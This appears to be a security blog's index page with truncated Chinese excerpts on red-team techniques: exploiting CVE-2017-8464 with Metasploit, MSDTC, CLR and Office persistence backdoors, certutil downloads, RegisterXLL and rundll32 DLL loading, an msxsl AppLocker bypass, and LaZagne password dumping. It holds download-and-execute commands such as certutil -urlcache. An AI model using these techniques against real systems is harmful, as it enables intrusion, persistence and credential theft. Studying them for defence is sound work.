Good in study, attitude and health

  • Windows Lnk远程代码执行漏洞(CVE-2017-8464)利用测试

    0x00 前言 北京时间6月14日凌晨,微软发布编号为CVE-2017-8464的漏洞公告,官方介绍Windows系统在解析快捷方式时存在远程执行任意代码的高危漏洞,黑客可以通过U盘、网络共享等途径触发漏洞,完全控制用户系统,安全风险高危。 该漏洞的原理同2010年据称美国和以色列入侵并破坏伊朗核设施的震网行动中所使用的震网病毒(Stuxnet)非常相似,所以也被一些人称为“震网三代”。 然而,通过百度搜索关键词“cve-2017-8464复现”找到的国内一些文章,对该漏洞的复现存在误解,错把通过快捷方式执行powershell代码当作了该漏洞的利用方法。 所以,本文将要纠正这个错误。 并且,目前可供测试的msf利用脚本存在一个bug,漏洞触发后进程explorer.exe崩溃,漏洞利用不够完美。 考虑到距补丁公开日期已经超过45天,所以本文将要公开利用脚本中bug的修复方法,实现该漏洞的“完美利用”。 0x01 简介 本文将要介绍以下内容: 漏洞简介 漏洞测试 bug修复 防御 0x02 漏洞简介 该漏洞是一个微软Windows系统处理LNK文件过程中发生的远程代码执行漏洞。 当存在漏洞的电脑被插上存在病毒木马的U盘时,不需要任何额外操作,漏洞攻击程序就可以借此完全控制用户的电脑系统。 该漏洞也可能籍由用户访问网络共享、从互联网下载、拷贝文件等操作被触发和利用攻击。 也就是说,漏洞可以在以下任一条件下触发: 1、系统开启U盘自动播放功能,插入U盘,漏洞触发 2、通过网络共享访问该文件目录 3、直接访问该文件目录 0x03 漏洞测试 目前公开渠道可供测试利用的脚本有如下两个: 1、msf利用脚本 作者:ykoster 下载地址:https://github.com/rapid7/metasploit-framework/pull/8767 2、python利用脚本 作者:nixawk 下载地址:https://github.com/nixawk/labs/blob/master/CVE-2017-8464/exploit_CVE-2017-8464.py 本文着重测试msf脚本,将exp拷贝至U盘,测试通过U盘触发漏洞的利用方法 实际测试: 测试系统: kali 2.0 1、下载msf脚本 cd /usr/share/metasploit-framework/modules/exploits/windows/fileformat/ wget https://raw.githubusercontent.com/ykoster/metasploit-framework/169e00bf3442447324df064192db62cdc5b5b860/modules/exploits/windows/fileformat/cve_2017_8464_lnk_rce.rb 2、生成exp use exploits/windows/fileformat/cve_2017_8464_lnk_rce set payload windows/x64/exec set...

  • Use msdtc to maintain persistence

    0x00 前言 Shadow Force曾经在域环境中使用过的一个后门,利用MSDTC服务加载dll,实现自启动,并绕过Autoruns对启动项的检测。本文将要对其进行测试,介绍更多利用技巧,分析防御方法。 0x01 简介 本文将要介绍以下内容: MSDTC简介 后门思路 后门验证 更多测试和利用方法 检测防御 0x02 MSDTC简介 MSDTC: 对应服务MSDTC,全称Distributed Transaction Coordinator,Windows系统默认启动该服务 对应进程msdtc.exe,位于%windir%\system32\ msdtc.exe是微软分布式传输协调程序,该进程调用系统Microsoft Personal Web Server和Microsoft SQL Server 0x03 后门思路 参考链接: http://blog.trendmicro.com/trendlabs-security-intelligence/shadow-force-uses-dll-hijacking-targets-south-korean-company/ 文中介绍的思路如下: 当计算机加入域中,MSDTC服务启动时,会搜索注册表HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSDTC\MTxOCI 如下图 分别加载3个dll:oci.dll,SQLLib80.dll,xa80.dll 然而特别的是,Windows系统默认不包含oci.dll 也就是说,将payload.dll重名为oci.dll并保存在%windir%\system32\下 域中的计算机启动服务MSDTC时就会加载该dll,实现代码执行 0x04 后门验证 测试系统: Win7 x64 搭建域环境,如下图 使用Procmon监控msdtc的启动过程,筛选进程msdtc.exe,查看文件操作,如下图 msdtc.exe确实会尝试加载oci.dll,并且由于系统默认不存在oci.dll,导致加载失败 使用64位的测试dll,下载地址如下: https://github.com/3gstudent/test/blob/master/calc_x64.dll 将其保存在%windir%\system32\下 结束进程msdtc.exe,命令行参数如下: taskkill /f...

  • Use CLR to maintain persistence

    0x00 前言 在之前的文章《Use AppDomainManager to maintain persistence》介绍了通过AppDomainManager实现的一种被动后门触发机制,演示了如何劫持系统.Net程序powershell_ise.exe,但前提是需要获得管理员权限。 这一次将更进一步,介绍一种无需管理员权限的后门,并能够劫持所有.Net程序。 0x01 简介 本文将要介绍以下内容: CLR的使用 后门开发思路 POC编写 后门检测 0x02 CLR的使用 CLR: 全称Common Language Runtime(公共语言运行库),是一个可由多种编程语言使用的运行环境。 CLR是.NET Framework的主要执行引擎,作用之一是监视程序的运行: 在CLR监视之下运行的程序属于“托管的”(managed)代码 不在CLR之下、直接在裸机上运行的应用或者组件属于“非托管的”(unmanaged)的代码 CLR的使用: 测试系统: Win8 x86 1、启动cmd 输入如下代码: SET COR_ENABLE_PROFILING=1 SET COR_PROFILER={11111111-1111-1111-1111-111111111111} 注: {11111111-1111-1111-1111-111111111111}表示CLSID 可设置为任意数值,只要不和系统常用CLSID冲突就好 2、测试dll 使用弹框dll,下载地址: https://raw.githubusercontent.com/3gstudent/test/master/msg.dll dll开发过程可参考: https://3gstudent.github.io/Use-Office-to-maintain-persistence 可在cmd下实现直接下载,代码如下: certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dll certutil.exe...

  • 渗透测试中的certutil

    0x00 前言 最近在Casey Smith‏ @subTee的twitter上学到了关于certutil的一些利用技巧。本文将结合自己的一些经验,介绍certutil在渗透测试中的应用,对cmd下downloader的实现方法作补充,总结base64编码转换的常用方法。 学习地址: https://twitter.com/subTee/status/888101536475344896 https://twitter.com/subTee/status/888071631528235010 0x01 简介 本文将要介绍以下内容: certutil.exe在渗透测试中的应用 downloader常用方法 base64编码转换常用方法 0x02 certutil简介 用于证书管理 支持xp-win10 更多操作说明见https://technet.microsoft.com/zh-cn/library/cc755341(v=ws.10).aspx 注: 在之前的文章《域渗透——EFS文件解密》有用过certutil.exe导入证书 0x03 渗透测试中的应用 1、downloader (1) 保存在当前路径,文件名称同URL eg: certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/version.txt (2) 保存在当前路径,指定保存文件名称 eg: certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/version.txt file.txt (3) 保存在缓存目录,名称随机 缓存目录位置: %USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content eg: certutil.exe -urlcache -f https://raw.githubusercontent.com/3gstudent/test/master/version.txt...

  • Office Persistence on x64 operating system

    0x00 前言 在之前的文章《Use Office to maintain persistence》介绍了在Office 软件中植入后门的常用方法,但并不全面,缺少64位系统的测试。而对于64位操作系统,支持32位和64位两个版本的office软件,不同office版本的利用方法是否不同呢?本文将要给出答案。 0x01 简介 本文将要介绍如下内容: 64位系统安装64位Office软件的利用方法 64位系统安装32位Office软件的利用方法 根据测试结果优化POC 0x02 64位系统安装64位Office软件的利用方法 测试系统: Win8 x64 开发工具:vs2012 注: 32位系统下安装vs2012支持生成64位的dll 默认主要文件安装目录:C:\Program Files\Microsoft Office 1、Word WLL 32位dll,无法加载 64位dll,成功加载 2、Excel XLL 32位dll,无法加载 64位dll,成功加载 注: 添加导出函数xlAutoOpen的方法: 1、使用传统的模块定义文件 (.def) 新建dll工程,不选择导出符号 如下图 添加同名文件.def,内容如下: EXPORTS xlAutoOpen 如下图 编译成dll,使用IDA查看导出函数 显示正常 如下图 2、使用vs2012提供的便捷方法 新建dll工程,选择导出符号 如下图 设置导出函数为xlAutoOpen...

  • Use Excel.Application object's RegisterXLL() method to load dll

    0x00 前言 Ryan Hanson‏@ryHanson最近分享了一个技巧,利用Excel.Application object's RegisterXLL()能够加载dll。我对其分享的POC作了测试,接着做了扩展,添加功能实现远程下载执行,并且分析该方法相关的利用技巧,详细介绍脚本开发中的细节。 0x01 简介 本文将要介绍如下内容: POC测试 添加功能实现远程下载执行 扩展用法1:通过powershell实现 扩展用法2:结合rundll32使用 0x02 POC测试 POC地址如下: https://gist.github.com/ryhanson/227229866af52e2d963cf941af135a52 前提是系统已安装Microsoft Office软件,共提供三种利用方式 1.rundll32 rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";x=new%20ActiveXObject('Excel.Application');x.RegisterXLL('C:\\test\\messagebox.dll');this.close(); 2.js var excel = new ActiveXObject("Excel.Application"); excel.RegisterXLL("C:\\test\\messagebox.dll"); 3.powershell $excel = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application")) $excel.RegisterXLL("C:\test\messagebox.dll") 注: 测试的messagebox.dll来自于:https://github.com/3gstudent/test/blob/master/msg.dll 大小3kb,源代码及编译方法可参照文章《Use Office to maintain persistence》 0x03 添加功能 Jscript基础知识: 1、输出内容 js代码如下: WScript.Echo("1"); 直接执行js脚本会弹框 cmd执行:cscript.exe...

  • Use Office to maintain persistence

    0x00 前言 对于Windows平台,Microsoft Office的普及率很高。站在攻击者的角度,通常会选择在Office软件中植入后门。 我在一篇博客上看到了Office后门的多种利用方法,我对其进行了研究测试,挑选其中较为通用、隐蔽的方式,编写POC脚本实现自动利用。 博客地址: https://labs.mwrinfosecurity.com/blog/add-in-opportunities-for-office-persistence/ 作者: William Knowles@william_knows POC: https://github.com/3gstudent/Office-Persistence 0x01 简介 本文将要介绍以下内容: 针对Word、Excel、PowerPoint的四种后门利用方法 编写Powershell脚本实现自动利用 比较优缺点,分析防御方法 0x02 Word WLL 1、手动测试 开发工具:VC6.0 新建dll工程,代码如下: BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: MessageBox(NULL,"hello world,I'm 3kb","title",MB_OK); case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break;...

  • Use msxsl to bypass AppLocker

    0x00 前言 Casey Smith@subTee在twitter分享的一个技巧,使用包含微软签名的msxsl.exe能够执行JScript代码,从而实现对Applocker的绕过。 如图 twitter地址如下: https://twitter.com/subTee/status/877616321747271680 POC地址如下: https://gist.github.com/subTee/47f16d60efc9f7cfefd62fb7a712ec8d 0x01 简介 本文将要对这项技术进行介绍,分析可供进一步利用的方法,同时对其扩展,介绍使用msxsl.exe执行VBScript代码的方式 0x02 msxsl 1、msxsl.exe XSL(Extensible Stylesheet Language)转换器 命令行工具 带有微软数字签名 下载地址: https://www.microsoft.com/en-us/download/details.aspx?id=21714 执行如下图 参考Casey Smith的POC: customers.xml: <?xml version="1.0"?> <?xml-stylesheet type="text/xsl" href="script.xsl" ?> <customers> <customer> <name>John Smith</name> <address>123 Elm St.</address> <phone>(123) 456-7890</phone> </customer> <customer> <name>Mary Jones</name> <address>456 Oak Ave.</address> <phone>(156) 789-0123</phone>...

  • 本地密码查看工具LaZagne中的自定义脚本开发

    0x00 前言 LaZagne是一款用于检索大量存储在本地计算机密码的开源应用程序。 因为每个软件储存密码的方式不尽相同(明文、API、定制算法、数据库等),所以该工具使用多种方法获取软件密码,目前支持的软件如下图 该工具通过python开发,易读、易维护,所以本文就尝试对其扩展,编写python脚本实现对360极速浏览器的密码导出,并且介绍脚本开发过程的细节。 0x01 简介 本文将要介绍以下内容: 解决LaZagne中的bug 开发脚本导出360极速浏览器密码 使用py2exe将python脚本转成exe 使用PyInstaller将python脚本转成exe 0x02 LaZagne中的bug LaZagne下载地址: https://github.com/AlessandroZ/LaZagne python版本:2.7 下载后执行\LaZagne-master\LaZagne-master\Windows\laZagne.py 报错,缺少第三方扩展包pyasn1和psutil 安装第三方扩展包: ` C:\Python27\Scripts\easy_install.exe pyasn1` ` C:\Python27\Scripts\easy_install.exe psutil ` 再次执行\LaZagne-master\LaZagne-master\Windows\laZagne.py 仍然报错,提示如下: ImportError: No module named memorpy 经过搜索,并没有第三方扩展包memorpy,猜测是输入错误,正确的应该为memory_profiler 安装扩展包memory_profiler: C:\Python27\Scripts\easy_install.exe memory_profiler 并且修改源文件: 路径为\LaZagne-master\LaZagne-master\Windows\lazagne\softwares\memory\memorydump.py Line14:from memorpy import * 修改为 from memory_profiler import * 成功执行laZagne.py,如下图...

  • 渗透技巧——Windows平台运行Masscan和Nmap

    0x00 前言 在内网渗透中,信息搜集尤为重要。 面对内网的复杂环境,虽说网络扫描容易暴露自己,但通过扫描可以发现内网的存活主机、开放端口,运行服务、操作系统等信息,为进一步渗透奠定基础。 扫描工具的选取,不仅要考虑功能,更要考虑工具的适用性。 现实中的跳板通常并不是一台Linux服务器,没有合适的环境安装Nmap、Zmap和Masscan。 换句话说,可在Windows下直接使用的命令行扫描工具有哪些呢? 知名的开源扫描工具Nmap、Zmap和Masscan,三款工具在功能上各有特色。 在适用性上,Zmap在Windows下使用需要安装Cygwin,因此不在考虑范围内。 Masscan支持Windows平台的编译,Nmap提供命令行版本,看起来Masscan和Nmap符合要求。 但是,Masscan和Nmap的使用均需要WinPcap的支持,也就是说,使用前均需要安装WinPcap。 那么,能否通过命令行安装WinPcap呢? 0x01 简介 本文将要要解决以上问题,介绍内容如下: Windows平台编译Masscan Windows命令行安装WinPcap Masscan使用介绍 Nmap配置和使用介绍 0x02 Windows平台编译Masscan Masscan下载地址: https://github.com/robertdavidgraham/masscan/ 编译工具:vs2012 编译选项中未添加vs2012的编译配置,所以直接编译会报错 解决方法: 在string_s.h中添加vs2012配置信息 位于misc-string_s.h,添加代码如下: #if defined(_MSC_VER) && (_MSC_VER == 1700) /*Visual Studio 2012*/ # include <stdio.h> # include <string.h> # define strcasecmp _stricmp # define memcasecmp...